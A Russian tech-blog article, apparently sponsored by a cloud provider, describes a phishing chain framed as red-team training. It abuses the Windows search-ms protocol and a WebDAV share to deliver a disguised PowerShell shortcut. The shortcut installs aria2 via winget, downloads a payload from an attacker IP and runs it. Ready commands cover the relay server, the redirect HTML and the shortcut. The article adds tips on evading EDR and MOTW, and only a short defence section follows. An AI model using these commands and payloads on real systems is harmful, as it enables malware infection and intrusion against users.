Хабр, уже по сложившейся традиции сегодня мы разберем одну из интересных APT-атак на пользователей, в которой используется не стандартный способ доставки, маскировки, а также заражения системы с обходом EPP и EDR! Данный материал будет полезен сотрудникам SOC, TI-экспертам, Pentest и Threat Hunting — специалистам.
Дисклеймер! Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.
Шаг 0. Концепция атаки
Классически доставка первого этапа осуществляется обыденными способами: почта, мессенджеры, брошенные флешки и т.д. Передаваемых через них файлы давно под подозрением и СЗИ (средства защиты информации) обычно блокируют их, используя статический и динамический анализы. Однако данная атака завязана на особенности работы проводника Windows, а точнее эксплуатации сервиса ms-search, которого можно заставить искать вредоносные файлы на стороннем сервере.
Ожидаемое поведение от ms-search, при поиске .exe файлов:
Обращение к сервису с использованием строки аргументов:
search-ms:displayname=Search Results in Data (D:)&crumb=fileextension:~<.exe OR System.Generic.String:.exe&crumb=location:D:\
Сервису search-ms переданы аргументы для поиска файлов, которые подробно рассмотрим ниже:
- displayname отобразит любой текст в строке для уведомления пользователя о локации поиска;
- аргумент crumb позволит определить фильтры и место поиска;
- query, также может быть использован для фильтрации данных.
Зловредное обращение выглядит следующим образом:
search-ms:query=.exe&crumb=location:\\95.173.18.16\DavWWWRoot\&displayname=Update
Используя параметр query, фильтруются файлы по маске .exe, а параметр crumb через UNC — пути определяет доступ до сервера, на котором уже и хранится вредоносное ПО. Microsoft частично позаботились о безопасности таких файлов и на каждый материал, полученный из сети ставит метку в альтернативном потоке данных MOTW, который считывается, при открытии и отображается в виде предупреждения.
Однако данный механизм все равно сложен и подозрителен для конечного пользователя, минимально подготовленный сотрудник уже в курсе, что он вряд ли найдет в файле формата .exe, что полезное для себя. Усовершенствовав данных механизм, получилась следующая схема атаки на пользователя в рамках учений, данный материал также может использоваться в рамках “Антифишинг учений”.
Для доставки вредоносного запроса ms-search используются URL-схемы, замаскировав их под кнопку на сайте или иной элемент. Схема позволяет обратиться к стороннему серверу, где уже подготовлен вредонос заражения — первого этапа. Не приметный файл формата “pdf” запускается пользователем, под видом загруженного и реализует скачивание второго этапа с основным ядром вредоноса. После чего система заражена, рассмотрим это на практике.
Шаг 1. Этап доставки
На данном этапе собираются файлы доставки и поднимается инфраструктура, в которой будет находиться пользователь в момент заражения. Так же необходимо учесть особенности работы информационно вычислительной сети и СЗИ, которые могут детектировать вредоносную активность.
Relay-сервер
Для реализации доставки необходимо поднять сервер, к которому будет происходить обращение от клиента и поиск вредоносного файла на нем. Требованиями к данному этапу являются:
- отсутствие аутентификации с целью упрощения пути заражения;
- ограничения доступа на редактирование другими лицами;
- близко доступность сервиса до клиента.
Последний пункт обусловлен недостатком данного метода доставки, так как для работы поднимается служба со стороны клиента и только затем обращается к серверу, направляя запросы Propfind, Get. Все это может занять время от 10 до 15 секунд, в то время как у клиента это будет выглядеть, будто зависшее приложение. В качестве ПО возьмем WsgiDav-сервер написанный на Python и поднимем командой:
wsgidav --host 0.0.0.0 --port 80 --root /tmp/Minfin --auth anonymous
Укажем доступность сервера с любого интерфейса, стандартный порт 80 и корневую папку, в которой будет храниться вредонос первого этапа, а также параметр анонимной аутентификации. По умолчанию, корневая папка редактируется, однако, данный пункт можно изменить в конфигурации сервера. Перейдем к URL и рассмотрим способы доставки.
Запакованный URL
Для доставки зараженной ссылки пользователю, обычно используют письма с замаскированными элементами. К примеру, не навязчивое письмо с возможностью индексации ЗП сотрудника, с кнопкой содержащей ссылку снизу.
Однако обратите внимание, что URL-схемы есть у браузера, а не у почты поэтому возможность обратиться через письмо напрямую не получится, для этого необходимо также поднять веб-сервер. На которой уже произойдет редирект по схеме.
Необходимо также выбрать корректный тег для HTML, ведь большинство почтовых клиентов научились детектировать фишинговые письма. Submit и кнопки по действию JS не подойдут, так как помечаются вредоносными или сам язык JS не поддерживается почтой. В таком случае привычный button Данный файл может иметь следующий примерный вид:
<html lang="en"><head><meta charset="UTF-8"/><meta http-equiv="refresh" content="2; url=search-ms:query=.lnk&crumb=location:\\93.183.72.112\DavWWWRoot\&displayname=Update"/<title>Redirecting...</title></html>
Далее пользователю предложат открыть проводник и продолжить работу в нем.
После чего произойдет обращение к WebDav серверу и откроется отфильтрованное содержимое корневой папки ресурса обращения.
Шаг 2. Этап заражения
Классические варианты тайпсквотинга, управляющих символов давно уже никого не удивят, а EPP и EDR решения запросто распознают популярные паттерны по Yara-правилам или динамическому анализу. Соответственно, необходимо использовать иное решение, которое не вызовет подозрений у пользователя.
Так как к серверу мы подключаемся через клиент — проводник, то и отображение элементов происходит по правилам файла desktop.ini. Это значит, что в данном случае возможно использование токсичных ярлыков с открытием PowerShell.
Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься интерпретатор. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а замаскироваться и загрузить второй с дальнейшим запуском, то необходимо маскировать обращение к северу. Для этого создадим обычный ярлык с путем к PS.
Выберем подходящую иконку для маскировки.
После необходимо начинить его логикой, де факто сейчас есть доступ к оболочке, а соответственно и возможность управления устройством относительно прав клиента, на котором запущено приложение. Обычно это пользователи без прав, но и этого вполне достаточно, чтобы открывать соединения и проводить изменения на устройстве. При составлении логики стоит исходить из:
- Ограничений строки по символам;
- Отказ от системных папок требующий права админа, а также утилит;
- Малого размера файла эксплойта;
- Маскировка под легитимный процесс;
- Скрытие окон.
Если выбрать стандартную утилиту или объект для работы, Network object, Invoke Request, Bit-Transfer, то по поведенческому анализу сразу блокируется соединение и файл отправляется в карантин.
Соответственно необходимо использовать встроенные утилиты, которые будут на большинстве устройств, чтобы замаскироваться под легитимные процессы. К примеру, отлично подойдет winget — пакетный менеджер, который устанавливает сетевые соединения и скачивает необходимое ПО.
Без прав администратора не получится указать новый ресурс и напрямую скачать вредоносный пакет, поэтому необходимо найти утилиту, которая будет устанавливаться и работать без прав администратора. А также функционально предназначенная на скачивание по протоколам HTTP. Одной из таких оказалась aria2 утилита с открытым исходным кодом, которая позволит загрузить вредонос.
Составим логику работы первого эксплойта:
Установка утилиты -> Обновление переменных сред -> Скачивание вредоноса -> Запуск второго этапа заражения
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe winget install aria2.aria2 -h;.(echo $PSHOME'\powershell.exe')'aria2c http://93.183.72.112/assets/120.exe';.\120.exe
Главная особенность строк кода заключалась в вызове чистой оболочки скрипта для обновления переменных сред, так как обратиться к утилите без этого сложно. Достаточно веская причина не использовать абсолютный путь — это ограничение по символам в строке пути ярлыка.
Логика работы реализована просто, без масок в названии файлов или каких либо альтернативных способов скрыться от сигнатурного, либо поведенческого анализа, так как используемые утилиты легитимны в системе.
Проверим файл на сработки антивируса и заметим, что всего 4 сработки! А если использовать домен вместо Ip-адреса и протокол https вместо http, то возможно их станет еще меньше.
Осталось добавить любой бинарный файл или инструкции на сервер по адресу http://93.183.72.112/assets/ с названием 120.exe, а также вредонос первого этапа. В данном решении сохраняется MOTW метка и пользователь будет предупрежден о файле. Для того чтобы ее не было можно использовать любой файл, который не поддерживает MOTW и уже в него имплементировать код. Или можно использовать ПО, которые не распространяют MotW, как некоторые движки программирования вроде Java, Python, Ruby, а так же непосредственно Microsoft's Visual Studio.
Но еще и файлы формата iso и vhd вообще их не поддерживают, так как метка ставится в файловой системе альтернативным потоком. А данное решение формата файла iso или vhd может содержать любую другую файловую систему, которая смонтируется в ОС.
Шаг 3. Меры предотвращения атаки для сотрудников ИБ
Данная атака представляет собой линейный сценарий реализации, поэтому для нейтрализации вектора достаточно меры запрета открытия ms-search протокола через браузер, путём удаления ключей реестра. В Windows ключи HKEY_CLASSES_ROOT используются для хранения ассоциаций файловых типов и протоколов с приложениями.
Именно среди них необходимо найти ассоциации с ms-search и search. Удаление ключей реестра, связанных с этими протоколами, приводит к тому, что операционная система и приложения больше не смогут использовать их для выполнения соответствующих действий. Это эффективно блокирует доступ к этим протоколам, предотвращая их использование, например, веб-браузерами. Выполните команды для предотвращения атаки:
reg delete HKEY_CLASSES_ROOT\search /f; reg delete HKEY_CLASSES_ROOT\search-ms /f
Особое внимание в данной цепочке стоит уделить URL схемам, так как ассоциаций протоколов и приложений большое множество.
Вполне возможен и иной вектор атаки через вредоносную ссылку в браузере по отношению к системному ПО, в том числе и офисным приложениям. По умолчанию, доступен даже Excel, поэтому чисто теоретически возможен запуск файла Excel просто по нажатию ссылки.
ms-excel:ofv|u|http://10.0.0.3/Book1.xlsx
Или подобный описанному ранее вектор, но уже с использованием SFTP протокола для передачи.
Вопрос безопасности URL-схем остается открытым, так как это явный вектор атаки с достаточно коротким путем для нарушителя в систему. Для нейтрализации подобного можно использовать, как радикальные меры — удаления ассоциаций протоколов, так и внедрения правил на SIEM, EPP, EDR, SOAR детекции и реагирования обращений к реестру важных ключей.
К сожалению, вендоры не всегда торопятся исправлять уязвимости системы, поэтому достаточно важно проводить собственные research и анализ защищенности инфраструктуры, а также не забывать про Vulnerability Management.
Статья поддерживается командой Serverspace.
Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.
IT-инфраструктура | Кешбэк 17% по коду HABR